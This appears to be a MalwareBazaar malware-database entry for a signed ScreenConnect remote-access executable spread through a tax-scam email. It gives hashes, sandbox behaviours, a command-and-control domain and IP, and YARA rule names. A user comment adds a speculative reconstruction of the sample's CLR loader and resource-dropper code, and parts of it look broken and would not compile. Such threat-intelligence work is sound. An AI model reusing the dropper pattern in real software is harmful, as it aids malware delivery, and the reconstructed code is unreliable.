MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 33b2b67b33d1e021d63c507a98bc2cd73c9f888ee81fb9473ede1926992c3a1d. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry



ConnectWise


Vendor detections: 16


Intelligence 16 IOCs YARA 12 File information Comments

SHA256 hash: 33b2b67b33d1e021d63c507a98bc2cd73c9f888ee81fb9473ede1926992c3a1d
SHA3-384 hash: 3aefdac67241c59eedb790c4e762e9ba64a305642df8d89ed5a29cbca20d5a4323de3e0c0370b38cc92a8d3b4dabaf53
SHA1 hash: 3c8b56841af6c800888bea38e6db1ba7a90cb8c3
MD5 hash: aa0aa9267774fb06e086e8dbcde1bb9a
humanhash: kansas-carbon-paris-fourteen
File name:efile.exe
Download: download sample
Signature ConnectWise
File size:5'914'680 bytes
First seen:2025-03-25 07:42:29 UTC
Last seen:2025-03-25 07:46:33 UTC
File type:Executable exe
MIME type:application/x-dosexec
imphash 9771ee6344923fa220489ab01239bdfd (246 x ConnectWise)
ssdeep 98304:Rzs6efPhFFNUhJFF3s+BoiGg1Gc977zbthL:5fefPCFF3bBR1H9773n
Threatray 332 similar samples on MalwareBazaar
TLSH T13456F102B3D695B5D8AF053CD87A56AA5634BC044711CBBF5BD0BD692D33BC09A323B2
TrID 40.3% (.EXE) Win64 Executable (generic) (10522/11/4)
19.3% (.EXE) Win16 NE executable (generic) (5038/12/1)
17.2% (.EXE) Win32 Executable (generic) (4504/4/1)
7.7% (.EXE) OS/2 Executable (generic) (2029/13)
7.6% (.EXE) Generic Win/DOS Executable (2002/3)
Magika pebin
Reporter fearme
Tags:ConnectWise exe RAT signed TaxPayerScam

Code Signing Certificate

Organisation:Connectwise, LLC
Issuer:DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
Algorithm:sha256WithRSAEncryption
Valid from:2022-08-17T00:00:00Z
Valid to:2025-08-15T23:59:59Z
Serial number: 0b9360051bccf66642998998d5ba97ce
Intelligence: 444 malware samples on MalwareBazaar are signed with this code signing certificate
Thumbprint Algorithm:SHA256
Thumbprint: 82b4e7924d5bed84fb16ddf8391936eb301479cec707dc14e23bc22b8cdeae28
Source:This information was brought to you by ReversingLabs A1000 Malware Analysis Platform


Avatar
fearme
This was sent me by email, it was a Tax scam, basically they told me to pay my taxes lmao, and on there was this efile.exe attachment, which is a RAT made by some very low skilled hackers, i will let the reconstructed decompiled source code below.

EntryPoint:

#include <windows.h>
#include <metahost.h>
#include <stdio.h>

#pragma comment(lib, "mscoree.lib")

int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd)
{
HRESULT hr;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
ICLRRuntimeHost *pRuntimeHost = NULL;
ICLRControl *pCLRControl = NULL;
IUnknown *pAppDomainSetup = NULL;
IUnknown *pAppDomain = NULL;

// Try to set secure DLL loading if available (Windows 8+)
HMODULE hKernel32 = LoadLibraryW(L"kernel32.dll");
if (hKernel32)
{
typedef BOOL (WINAPI *SetDefaultDllDirectories_t)(DWORD);
SetDefaultDllDirectories_t pfnSetDefaultDllDirectories =
(SetDefaultDllDirectories_t)GetProcAddress(hKernel32, "SetDefaultDllDirectories");

if (pfnSetDefaultDllDirectories)
{
pfnSetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32);
}
FreeLibrary(hKernel32);
}

// Try to use CLRCreateInstance first (CLR 4.0+)
HMODULE hMscoree = LoadLibraryW(L"mscoree.dll");
if (hMscoree)
{
typedef HRESULT (WINAPI *CLRCreateInstance_t)(REFCLSID, REFIID, LPVOID*);
CLRCreateInstance_t pfnCLRCreateInstance =
(CLRCreateInstance_t)GetProcAddress(hMscoree, "CLRCreateInstance");

if (pfnCLRCreateInstance)
{
hr = pfnCLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);
if (SUCCEEDED(hr))
{
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo);
if (SUCCEEDED(hr))
{
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&pRuntimeHost);
}
}
}
FreeLibrary(hMscoree);
}

// Fall back to CorBindToRuntimeEx if CLRCreateInstance failed (CLR 2.0)
if (!pRuntimeHost)
{
hr = CorBindToRuntimeEx(
NULL, // Runtime version (NULL = latest)
NULL, // Build flavor (NULL = workstation)
0, // Flags
CLSID_CLRRuntimeHost,
IID_ICLRRuntimeHost,
(LPVOID*)&pRuntimeHost);
}

if (!pRuntimeHost)
{
// Failed to load CLR
return 1;
}

// Start the CLR
hr = pRuntimeHost->Start();

// Get the ICLRControl interface
hr = pRuntimeHost->GetCLRControl(&pCLRControl);

// Create an AppDomain
hr = pRuntimeHost->CreateAppDomainWithManager(
L"_RESOLVER", // Friendly name
0, // Flags
NULL, // AppDomain setup
NULL, // AppDomain manager
&pAppDomain);

// Execute managed code
DWORD retVal;
hr = pRuntimeHost->ExecuteInDefaultAppDomain(
L"ManagedAssembly.dll", // Assembly path
L"ManagedNamespace.ManagedClass", // Type name
L"EntryPoint", // Method name
L"", // Argument
&retVal);

// Clean up
if (pAppDomain) pAppDomain->Release();
if (pCLRControl) pCLRControl->Release();
if (pRuntimeHost) pRuntimeHost->Release();
if (pRuntimeInfo) pRuntimeInfo->Release();
if (pMetaHost) pMetaHost->Release();

return retVal;
}

Resource Malware Dropper:

#include <windows.h>
#include <oleauto.h>
#include <exception>

HRESULT ExecuteEmbeddedResource(
HMODULE hModule,
IUnknown* pRuntimeHost,
const WCHAR* pwzResourceName)
{
// Find and load the embedded resource
HRSRC hRes = FindResourceW(hModule, pwzResourceName, L"FILES");
if (!hRes)
return HRESULT_FROM_WIN32(GetLastError());

HGLOBAL hResData = LoadResource(hModule, hRes);
if (!hResData)
return HRESULT_FROM_WIN32(GetLastError());

LPVOID pResourceData = LockResource(hResData);
if (!pResourceData)
return E_POINTER;

DWORD dwResourceSize = SizeofResource(hModule, hRes);
if (dwResourceSize == 0)
return E_INVALIDARG;

// Create a safe array to hold the resource data
SAFEARRAY* pSafeArray = SafeArrayCreateVector(VT_UI1, 0, dwResourceSize);
if (!pSafeArray)
return E_OUTOFMEMORY;

// Copy resource data into safe array
void* pArrayData = nullptr;
HRESULT hr = SafeArrayAccessData(pSafeArray, &pArrayData);
if (SUCCEEDED(hr))
{
memcpy(pArrayData, pResourceData, dwResourceSize);
SafeArrayUnaccessData(pSafeArray);
}
else
{
SafeArrayDestroy(pSafeArray);
return hr;
}

// Execute the resource through the runtime host
VARIANT vResult;
VariantInit(&vResult);

VARIANT vEmpty;
VariantInit(&vEmpty);

// These appear to be parameters for method invocation
long methodId = 0;
SAFEARRAY* pParams = SafeArrayCreateVector(VT_VARIANT, 0, 0);

// Call the method (likely ExecuteInDefaultAppDomain or similar)
hr = pRuntimeHost->InvokeMethod(
methodId, // Method ID or DISPID
pSafeArray, // Resource data as parameter
&vEmpty, // Optional arguments
pParams, // Method parameters
&vResult); // Return value

// Clean up
VariantClear(&vResult);
VariantClear(&vEmpty);
SafeArrayDestroy(pParams);
SafeArrayDestroy(pSafeArray);

return hr;
}

Intelligence


File Origin
# of uploads :
2
# of downloads :
487
Origin country :
RO RO
Vendor Threat Intelligence
Malware family:
connectwise
ID:
1
File name:
efile.exe
Verdict:
Malicious activity
Analysis date:
2025-03-25 15:13:54 UTC
Tags:
connectwise rmm-tool screenconnect remote

Note:
ANY.RUN is an interactive sandbox that analyzes all user actions rather than an uploaded sample
Verdict:
Malicious
Score:
99.1%
Tags:
connectwise dropper spawn remo
Result
Verdict:
Malware
Maliciousness:

Behaviour
Creating a file in the %temp% subdirectories
Сreating synchronization primitives
Launching a process
Creating a file
Creating a window
Searching for synchronization primitives
Loading a suspicious library
Modifying a system file
Creating a file in the Windows subdirectories
Creating a file in the Program Files subdirectories
Creating a service
Launching a service
Creating a process from a recently created file
Searching for the window
DNS request
Moving a file to the Windows subdirectory
Connecting to a non-recommended domain
Connection attempt
Sending a custom TCP request
Using the Windows Management Instrumentation requests
Possible injection to a system process
Enabling autorun with the shell\open\command registry branches
Enabling autorun
Enabling autorun for a service
Unauthorized injection to a recently created process
Verdict:
Malicious
Threat level:
  10/10
Confidence:
100%
Tags:
anti-vm cmd lolbin microsoft_visual_cc msiexec net obfuscated packed packed packer_detected reconnaissance rundll32 signed
Verdict:
Malicious
Labled as:
RiskWare[RemoteAdmin]/ConnectWise
Result
Verdict:
MALICIOUS
Details
Windows PE Executable
Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.
Result
Threat name:
ScreenConnect Tool
Detection:
malicious
Classification:
troj.evad
Score:
48 / 100
Signature
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Contains functionality to hide user accounts
Detected potential unwanted application
Enables network access during safeboot for specific services
Joe Sandbox ML detected suspicious sample
Modifies security policies related information
Multi AV Scanner detection for submitted file
Possible COM Object hijacking
Reads the Security eventlog
Reads the System eventlog
Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution
Uses dynamic DNS services
Behaviour
Behavior Graph:
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1647778 Sample: efile.exe Startdate: 25/03/2025 Architecture: WINDOWS Score: 48 55 makh512.ddns.net 2->55 61 Multi AV Scanner detection for submitted file 2->61 63 .NET source code contains potential unpacker 2->63 65 .NET source code references suspicious native API functions 2->65 69 5 other signatures 2->69 8 msiexec.exe 94 51 2->8         started        12 ScreenConnect.ClientService.exe 2 5 2->12         started        15 efile.exe 6 2->15         started        signatures3 67 Uses dynamic DNS services 55->67 process4 dnsIp5 35 ScreenConnect.Wind...dentialProvider.dll, PE32+ 8->35 dropped 37 C:\...\ScreenConnect.ClientService.exe, PE32 8->37 dropped 39 C:\Windows\Installer\MSID151.tmp, PE32 8->39 dropped 43 9 other files (none is malicious) 8->43 dropped 73 Enables network access during safeboot for specific services 8->73 75 Modifies security policies related information 8->75 17 msiexec.exe 8->17         started        19 msiexec.exe 1 8->19         started        21 msiexec.exe 8->21         started        57 makh512.ddns.net 194.59.31.112, 49722, 8041 COMBAHTONcombahtonGmbHDE Germany 12->57 77 Reads the Security eventlog 12->77 79 Reads the System eventlog 12->79 23 ScreenConnect.WindowsClient.exe 2 12->23         started        26 ScreenConnect.WindowsClient.exe 2 12->26         started        41 C:\Users\user\AppData\Local\...\efile.exe.log, ASCII 15->41 dropped 81 Contains functionality to hide user accounts 15->81 28 msiexec.exe 6 15->28         started        file6 signatures7 process8 file9 31 rundll32.exe 11 17->31         started        71 Contains functionality to hide user accounts 23->71 45 C:\Users\user\AppData\Local\...\MSIBE15.tmp, PE32 28->45 dropped signatures10 process11 file12 47 C:\Users\user\...\ScreenConnect.Windows.dll, PE32 31->47 dropped 49 C:\...\ScreenConnect.InstallerActions.dll, PE32 31->49 dropped 51 C:\Users\user\...\ScreenConnect.Core.dll, PE32 31->51 dropped 53 4 other files (none is malicious) 31->53 dropped 59 Contains functionality to hide user accounts 31->59 signatures13
Threat name:
Win32.Trojan.Generic
Status:
Suspicious
First seen:
2025-03-24 21:54:34 UTC
File Type:
PE (Exe)
Extracted files:
174
AV detection:
6 of 24 (25.00%)
Threat level:
  5/5
Result
Malware family:
n/a
Score:
  8/10
Tags:
discovery persistence privilege_escalation
Behaviour
Checks SCSI registry key(s)
Checks processor information in registry
Enumerates system info in registry
Modifies data under HKEY_USERS
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Drops file in Program Files directory
Drops file in Windows directory
Executes dropped EXE
Loads dropped DLL
Boot or Logon Autostart Execution: Authentication Package
Checks computer location settings
Drops file in System32 directory
Event Triggered Execution: Component Object Model Hijacking
Enumerates connected drives
Sets service image path in registry
Unpacked files
SH256 hash:
33b2b67b33d1e021d63c507a98bc2cd73c9f888ee81fb9473ede1926992c3a1d
MD5 hash:
aa0aa9267774fb06e086e8dbcde1bb9a
SHA1 hash:
3c8b56841af6c800888bea38e6db1ba7a90cb8c3
SH256 hash:
8a55c15cc76e31042e17458c479772aa95bc1b908016c85b1dc8b8e3eff23254
MD5 hash:
decb1fd20d75e6eade9289cc24605f29
SHA1 hash:
5169602d641c4f2ebd9ca0639622949e00c25566
SH256 hash:
289a4eea79baa4141744e44d60db713e18b5f23322663c63047962f51b467614
MD5 hash:
48979a1a6d3badea8124bce04b1e01a5
SHA1 hash:
06931bd96343ce167eda796112a30ca8d9fa536a
SH256 hash:
67c9969a8e9a678bf79e99a0fa004b2b443053418d8907d02a80bcbc4b2e60ae
MD5 hash:
736d7e19f7a397952b9bd011f069934b
SHA1 hash:
1da0bdfb0d4850d54422a872d9ca48b221936829
Detections:
INDICATOR_RMM_ConnectWise_ScreenConnect
SH256 hash:
0c85720d7a16e66a073ab3f50fb853769ed9680c8d58962b1143cad94bb5871f
MD5 hash:
d3a2a83b1eca287691f73ab454dbba7c
SHA1 hash:
709a8f041f9ed796174853e66b0222809eaf1d61
SH256 hash:
b9a3883a13b0d4d6dd984688cefc21b3954a8d543eb12c8c5e6260ee2c77c8aa
MD5 hash:
323e0b7d52aa3dc01d2f193c9c1938a9
SHA1 hash:
777bde91f6ff77870b6860a5aeaf689607920d74
Detections:
INDICATOR_RMM_ConnectWise_ScreenConnect
SH256 hash:
19ac323ca6eae2f8145cdc2bac865b32cd5a48ad6ff199d4ca7da214b056e1dc
MD5 hash:
5fb6074b08ac4709cf2f29fa5b49023e
SHA1 hash:
8bbb78a47c08867c50572f0bd2a27171f91e0454
SH256 hash:
2c468d89962f3c8ba4ce179f916e06e4105b414f809768f168e59fc8bc179e0e
MD5 hash:
b943a467d2ed3f3b5595c7fc3130ae33
SHA1 hash:
922b6947c45a1e4ae4ae27037edd17d1685b9eeb
SH256 hash:
ad6062215032ab58369403b1221562b5e7fb5ae7d52b29b7fad69eefb2d8455b
MD5 hash:
723f2aaeeda1d2bb2f49322da349ffc9
SHA1 hash:
ac6ab994beaff69adf8a2dc480a8a628175ff6c8
SH256 hash:
9342c7be8036a5f8dc3895d75e3314dce961fd3bc70ee59928c67fa04f0c7e08
MD5 hash:
5419ff27205d3e5affa3fc18b811b843
SHA1 hash:
cf49072c50456381cd26cd32cb97606c5f5cfd26
SH256 hash:
2659f660691d65628d2fcc3bfc334686cd053f162cdb73bf7a0da0ac6449db92
MD5 hash:
7099c67fe850d902106c03d07bfb773b
SHA1 hash:
f597d519a59a5fd809e8a1e097fdd6e0077f72de
Detections:
SUSP_NET_Shellcode_Loader_Indicators_Jan24 INDICATOR_RMM_ConnectWise_ScreenConnect
SH256 hash:
8377a87625c04ca5d511ceec91b8c029f9901079abf62cf29cf1134c99fa2662
MD5 hash:
665a8c1e8ba78f0953bc87f0521905cc
SHA1 hash:
fe15e77e0aef283ced5afe77b8aecadc27fc86cf
Detections:
INDICATOR_RMM_ConnectWise_ScreenConnect
Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures


MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:DebuggerCheck__API
Reference:https://github.com/naxonez/yaraRules/blob/master/AntiDebugging.yara
Rule name:golang_bin_JCorn_CSC846
Author:Justin Cornwell
Description:CSC-846 Golang detection ruleset
Rule name:INDICATOR_EXE_DotNET_Encrypted
Author:ditekSHen
Description:Detects encrypted or obfuscated .NET executables
Rule name:INDICATOR_RMM_ConnectWise_ScreenConnect
Author:ditekSHen
Description:Detects ConnectWise Control (formerly ScreenConnect). Review RMM Inventory
Rule name:INDICATOR_RMM_ConnectWise_ScreenConnect_CERT
Author:ditekSHen
Description:Detects ConnectWise Control (formerly ScreenConnect) by (default) certificate. Review RMM Inventory
Rule name:maldoc_find_kernel32_base_method_1
Author:Didier Stevens (https://DidierStevens.com)
Rule name:maldoc_OLE_file_magic_number
Author:Didier Stevens (https://DidierStevens.com)
Rule name:NET
Author:malware-lu
Rule name:NETexecutableMicrosoft
Author:malware-lu
Rule name:PE_Digital_Certificate
Author:albertzsigovits
Rule name:RANSOMWARE
Author:ToroGuitar
Rule name:Sus_Obf_Enc_Spoof_Hide_PE
Author:XiAnzheng
Description:Check for Overlay, Obfuscating, Encrypting, Spoofing, Hiding, or Entropy Technique(can create FP)

File information


The table below shows additional information about this malware sample such as delivery method and external references.

BLint


The following table provides more information about this file using BLint. BLint is a Binary Linter to check the security properties, and capabilities in executables.

Findings
IDTitleSeverity
CHECK_DLL_CHARACTERISTICSMissing dll Security Characteristics (HIGH_ENTROPY_VA)high
CHECK_TRUST_INFORequires Elevated Execution (level:requireAdministrator)high
Reviews
IDCapabilitiesEvidence
WIN32_PROCESS_APICan Create Process and ThreadsKERNEL32.dll::CloseHandle
WIN_BASE_APIUses Win Base APIKERNEL32.dll::TerminateProcess
KERNEL32.dll::LoadLibraryW
KERNEL32.dll::LoadLibraryExW
KERNEL32.dll::GetStartupInfoW
KERNEL32.dll::GetCommandLineA
KERNEL32.dll::GetCommandLineW
WIN_BASE_EXEC_APICan Execute other programsKERNEL32.dll::WriteConsoleW
KERNEL32.dll::SetStdHandle
KERNEL32.dll::GetConsoleMode
KERNEL32.dll::GetConsoleCP
WIN_BASE_IO_APICan Create FilesKERNEL32.dll::CreateFileW

Comments